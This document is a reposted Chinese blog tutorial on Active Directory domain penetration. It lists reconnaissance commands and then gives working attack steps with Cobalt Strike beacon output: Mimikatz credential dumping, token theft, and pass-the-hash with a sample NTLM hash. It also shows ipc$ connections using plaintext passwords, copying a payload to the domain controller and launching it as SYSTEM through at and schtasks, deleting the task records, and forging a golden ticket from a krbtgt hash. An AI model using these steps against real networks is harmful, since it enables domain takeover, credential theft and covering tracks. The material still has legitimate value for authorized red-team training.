当前位置: 首页 > news >正文

【内网渗透】内网渗透学习之域渗透常规方法

域渗透常规方法和思路

    • 1、域内信息收集
      • 1.1、获取当前用户信息
        • 1.1.1、获取当前用户与域 SID
        • 1.1.2、查询指定用户的详细信息
      • 1.2、判断是否存在域
      • 1.2、查询域内所有计算机
      • 1.3、查询域内所有用户组列表
      • 1.4、查询所有域成员计算机列表
      • 1.5、获取域密码信息
      • 1.6、获取域信任信息
      • 1.7、查找域控制器
        • 1.7.1、判断用户是否在域
        • 1.7.2、查看域控制器的机器名
        • 1.7.3、查看域控制的主机名
        • 1.7.4、查看域控 IP
        • 1.7.5、查看域控制的主机名
        • 1.7.6、查看域控制器组
      • 1.8、查询当前域内存活主机
    • 2、判断本地管理员
    • 3、运行 Mimikatz读取密码
    • 4、登录认证
      • 4.1、Access Token 登录令牌
      • 4.2、散列认证
      • 4.3、IPC 连接
      • 4.4、黄金票据(Golden Ticket)

1、域内信息收集

1.1、获取当前用户信息

1.1.1、获取当前用户与域 SID

whoami /all

在这里插入图片描述

1.1.2、查询指定用户的详细信息
# 查询本地用户详细信息
net user user01# 查询域用户详细信息
net user tester01 /domain

在这里插入图片描述

在这里插入图片描述

1.2、判断是否存在域

ipconfig /all
systeminfo

在这里插入图片描述
在这里插入图片描述

net view /domain

在这里插入图片描述

  • 若是此命令在显示域处显示 WORKGROUP,则不存在域;
  • 若是报错:发生系统错误 5,则存在域,但该用户不是域用户
net config workstation

在这里插入图片描述

net localgroup administrators 查看本机管理员(通常会包含有域用户)

1.2、查询域内所有计算机

net view /domain:xxx
在这里插入图片描述

1.3、查询域内所有用户组列表

net group /domain
在这里插入图片描述

1.4、查询所有域成员计算机列表

net group "domain computers" /domain

在这里插入图片描述

1.5、获取域密码信息

可以获取域密码策略设置、长短、错误锁定等信息

net accounts /domain
在这里插入图片描述

1.6、获取域信任信息

nltest /domain_trusts
在这里插入图片描述

1.7、查找域控制器

1.7.1、判断用户是否在域

net time /domain
域存在且用户在域内
在这里插入图片描述
存在域,当前用户不是域用户
在这里插入图片描述
当前网络环境为工作组,不存在域
在这里插入图片描述

1.7.2、查看域控制器的机器名

nltest /dclist:god在这里插入图片描述

1.7.3、查看域控制的主机名

nslookup -type=SRV _ldap._tcp
在这里插入图片描述

1.7.4、查看域控 IP

ping DC.test.lab
在这里插入图片描述

nslookup dc
在这里插入图片描述
判断域控制器和DNS 服务器是否在同一服务器上
nslookup test.lab
在这里插入图片描述

1.7.5、查看域控制的主机名

nslookup -type=SRV _ldap._tcp
在这里插入图片描述

1.7.6、查看域控制器组

net group "domain controllers" /domain
在这里插入图片描述

实际网络中,一个域内一般存在两台或两台以上的域控制器,作为主备。

netdom query pdc

netdom不是系统自带工具,需要下载安装

1.8、查询当前域内存活主机

利用 windows 内置命令收集

net group "domain computers" /domain
在这里插入图片描述
利用NetBIOS 探测内网
nbtscan 192.168.52.0/24
在这里插入图片描述

2、判断本地管理员

net localgroup "administrators"
在这里插入图片描述

3、运行 Mimikatz读取密码

在这里插入图片描述
在这里插入图片描述

4、登录认证

4.1、Access Token 登录令牌

Access Token : 保存了当前用户的权限信息,每个进程可能使用不同用户的身份启动,有不同的Access Token。如果我们想以域用户的身份做操作,这个时候就可以获得本地域用户身份的进程,然后进行token窃取。

以下是令牌窃取的过程:

  1. 使用 ps 列出进程
  2. 使用 steal_token [pid] 窃取令牌
  3. 使用 getuid 找到你是谁
  4. 使用 rev2self移除令牌

方法1:偷取token

到进程中偷取token:
在这里插入图片描述
右键要横向的主机,选择psexec64:
在这里插入图片描述
选择一个已经获得的凭据或者勾选使用当前令牌,并选择监听器与会话即可:
在这里插入图片描述

当密码输入错误时,执行上面的两个命令就会提示 登录失败: 未知的用户名或错误密码。 同样的使用 rev2self 可除去当前令牌,恢复原来的SYSTEM 权限

方法2:制作token
查看当前用户身份信息是否本地域用户,如不是则需要获取本地域用户的进程:

steal_token 2116

使用命令make_token domain\user password伪造一个token:
在这里插入图片描述
查看一下当前会话 uid

在这里插入图片描述

访问dc的默认共享:
在这里插入图片描述

4.2、散列认证

  • mimikatz 使用登录令牌开启了一个进程,在单点登录信息那里填入我们提供的用户名称、域、密码哈希值
  • cobalt strike自动的从那个进程中窃取令牌并关闭

复制ntm哈希
在这里插入图片描述
pth 命令获取信任
pth GOD\Administrator f76d5be6348a96263e8bcb0f49552fbb
在这里插入图片描述
在这里插入图片描述

最后使用命令移除当前窃取的令牌

rev2self

4.3、IPC 连接

IPC ( Internet Process Connection)共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。
通过 ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。

  • 利用条件:

    • 开启了139、445端口;
    • 管理员开启了默认共享;
  • 连接失败原因:

    • 用户名密码错误。
    • 目标没有打开ipc$默认共享。
    • 不能成功连接目标的139、445端口
    • 命令输入错误。

建立一个ipc$
前提需要获取到账号密码,需要使用logonpasswords读取
在这里插入图片描述

shell net use \\192.168.52.138\ipc$ "xiaoc@123" /user:administrator
在这里插入图片描述
在使用net use 命令与远程目标机器建立ipc$后,可以使用dir 命令列出远程主机中的文件。

shell dir \\192.168.52.138\c$
在这里插入图片描述
在使用net use 命令与远程目标机器建立ipc$后,可以未使用tasklist命令的/S参数列出远程主机上运行的进程。

使用net time命令确定远程机器当前的系统时间。
在这里插入图片描述

shell tasklist /S 192.168.52.138
在这里插入图片描述

添加计划任务

at是Windows自带的用于创建计时任务的命令,它主要工作在Windows Server 2008
之前版本的操作系统中。使用at命令在远程目标机器上创建计划任务的流程大致如下 因为当前域控服务器使用的是server2008

复制远程文件到目标服务器上(域控服务器,假设可以出网)
shell copy C:\Users\Administrator\Desktop\testartifact_x86.exe \\192.168.52.138\c$
在这里插入图片描述
在这里插入图片描述
使用at命令添加定时执行payload文件
shell at \\192.168.52.138 9:22:00 c:\testartifact_x86.exe
在这里插入图片描述
执行成功
在这里插入图片描述
删除使用at 命令创建计划任务的记录。
shell at \\10.1.1.2 2 /del

Windows Vista、Windows Server 2008 及之后版本的操作系统已经将at命令废弃了。于是,攻击者开始使用schtasks命令代替at命令。schtasks命令比 at命令更为灵活、自由。

shell schtasks /create /s 10.1.1.2 /tn test /sc onstart /tr c:\test_msf_local.exe /ru system /f
这条命令的解释是在IP 为10.1.1.2主机上创建一个开启自启动的定时任务,定时任务名称为test,以system 的权限执test_msf_local.exe。若定时任务存在,则发出警告。如果未与目标主机建立IPC连接,需要输入用户名和密码的参数,在末尾追加:/u administrator /p “密码”。

在使用schtasks命令时,会在系统中留下日志文件C:\Windows\Tasks\SchedLgU.txt。如果执行schtasks命令后没有回显,可以配合ipc$执行文件,使用type命令远程查看执行结果。

删除任务
schtasks /delete /s 10.1.1.2 /tn "test" /f

删除ipc$连接

  • net use \\目标ip /del /y

  • 在使用schtasks命令时,会在系统中留下日志文件C:\Windows\Tasks\SchedLgU.txt。如果执行schtasks命令后没有回显,可以配合ipc$执行文件,使用type命令远程查看执行结果。

4.4、黄金票据(Golden Ticket)

获取用户名、域名、域的SID值

# 获取当前域
[07/10 10:43:39] beacon> shell net view /domain
[07/10 10:43:39] [*] Tasked beacon to run: net view /domain
[07/10 10:43:40] [+] host called home, sent: 47 bytes
[07/10 10:43:53] [+] received output:
Domain-------------------------------------------------------------------------------
GOD                  
命令成功完成。# 获取域内用户
[07/10 10:44:17] beacon> shell net view /domain:god
[07/10 10:44:17] [*] Tasked beacon to run: net view /domain:god
[07/10 10:44:17] [+] host called home, sent: 51 bytes
[07/10 10:44:43] [+] received output:
服务器名称            注解-------------------------------------------------------------------------------
\\OWA                                                                          
\\ROOT-TVI862UBEH                                                              
命令成功完成。[07/10 10:45:02] beacon> shell whoami /user
[07/10 10:45:02] [*] Tasked beacon to run: whoami /user
[07/10 10:45:02] [+] host called home, sent: 43 bytes
[07/10 10:45:02] [+] received output:用户信息
----------------用户名            SID                                          
================= =============================================
god\administrator S-1-5-21-2952760202-1353902439-2381784089-500
#域的 SID 值即安全标识符 Security Identifiers,使用 whoami /user 命令可查看,注意不需要 SID 最后的一组数字
#SID 就是S-1-5-21-2952760202-1353902439-2381784089

获取DC 中 KRBTGT 用户的 NTLM 哈希

DC 中 KRBTGT 用户的 NTLM 哈希可以通过 dcsync 或 hashdump 获得,也可以使用powershell加载mimikatz获取

OWA\krbtgt 58e91a5ac358d86513ab224312314061

在这里插入图片描述

右击会话,生成黄金票据
在这里插入图片描述

注意: Domain 需要填写成 FQDN 格式,即完全合格域名 Fully Qualified Domain Name ,也就是类似于
teamssix.com 的格式

[07/10 10:57:38] beacon> mimikatz kerberos::golden /user:administrator /domain:god.cm /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /endin:480 /renewmax:10080 /ptt
[07/10 10:57:38] [*] Tasked beacon to run mimikatz's kerberos::golden /user:administrator /domain:god.cm /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /endin:480 /renewmax:10080 /ptt command
[07/10 10:57:38] [+] host called home, sent: 313667 bytes
[07/10 10:57:40] [+] received output:
User      : administrator
Domain    : god.cm (GOD)
SID       : S-1-5-21-2952760202-1353902439-2381784089
User Id   : 500
Groups Id : *513 512 520 518 519 
ServiceKey: 58e91a5ac358d86513ab224312314061 - rc4_hmac_nt      
Lifetime  : 2024/7/10 10:57:38 ; 2024/7/10 18:57:38 ; 2024/7/17 10:57:38
-> Ticket : ** Pass The Ticket *** PAC generated* PAC signed* EncTicketPart generated* EncTicketPart encrypted* KrbCred generatedGolden ticket for 'administrator @ god.cm' successfully submitted for current session

建立好黄金票据之后内可以使用命令判断当前权限(票据存在生存时间过期失效)

shell dir \\DC\C$

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 深入了解Rokid UXR2.0 SDK内置的Unity AR Glass开发组件
  • Python强大的数据转换功能库之awswrangler使用详解
  • 读人工智能全传08人工智能的今天
  • 容联七陌智能客服助力企业出海无忧,拓展全球
  • 护佑未来!引领儿童安全新时代的AI大模型
  • Qt 线程同步机制 互斥锁 信号量 条件变量 读写锁
  • git 的cherry-pick选择性提交
  • YOLO主干增强作用及代码
  • OpenCV 车牌检测
  • 第15章 奇异值分解:习题解答及其案例
  • 案例分享:Qt modbusTcp调试工具(读写Byte、Int、DInt、Real、DReal)(当前v1.0.0)
  • html5路由如何在nginx上部署(vite+vue3)
  • 每日一练习(复习昨天的知识)
  • 【VUE基础】VUE3第五节—核心语法之ref标签、props
  • 《警世贤文》摘抄:勤奋篇、取财篇、疏财篇、是非篇、安心篇、防忧篇(多读书、多看报、少吃零食多睡觉)
  • 9月CHINA-PUB-OPENDAY技术沙龙——IPHONE
  • [译] 怎样写一个基础的编译器
  • 【React系列】如何构建React应用程序
  • 10个最佳ES6特性 ES7与ES8的特性
  • CODING 缺陷管理功能正式开始公测
  • echarts花样作死的坑
  • javascript 哈希表
  • LeetCode算法系列_0891_子序列宽度之和
  • Python 反序列化安全问题(二)
  • python_bomb----数据类型总结
  • Transformer-XL: Unleashing the Potential of Attention Models
  • unity如何实现一个固定宽度的orthagraphic相机
  • 记录一下第一次使用npm
  • 扑朔迷离的属性和特性【彻底弄清】
  • 一天一个设计模式之JS实现——适配器模式
  • AI又要和人类“对打”,Deepmind宣布《星战Ⅱ》即将开始 ...
  • PostgreSQL 快速给指定表每个字段创建索引 - 1
  • 正则表达式-基础知识Review
  • ​你们这样子,耽误我的工作进度怎么办?
  • ​用户画像从0到100的构建思路
  • # Swust 12th acm 邀请赛# [ K ] 三角形判定 [题解]
  • $var=htmlencode(“‘);alert(‘2“); 的个人理解
  • %@ page import=%的用法
  • (003)SlickEdit Unity的补全
  • (2024,Flag-DiT,文本引导的多模态生成,SR,统一的标记化,RoPE、RMSNorm 和流匹配)Lumina-T2X
  • (ctrl.obj) : error LNK2038: 检测到“RuntimeLibrary”的不匹配项: 值“MDd_DynamicDebug”不匹配值“
  • (poj1.2.1)1970(筛选法模拟)
  • (Redis使用系列) Springboot 使用redis实现接口Api限流 十
  • (void) (_x == _y)的作用
  • (八)Flink Join 连接
  • (附源码)ssm高校社团管理系统 毕业设计 234162
  • (附源码)计算机毕业设计高校学生选课系统
  • (黑马C++)L06 重载与继承
  • (每日一问)基础知识:堆与栈的区别
  • (三)SvelteKit教程:layout 文件
  • (三分钟)速览传统边缘检测算子
  • (数据大屏)(Hadoop)基于SSM框架的学院校友管理系统的设计与实现+文档
  • (转)C#开发微信门户及应用(1)--开始使用微信接口
  • (转)Sublime Text3配置Lua运行环境
  • (转)清华学霸演讲稿:永远不要说你已经尽力了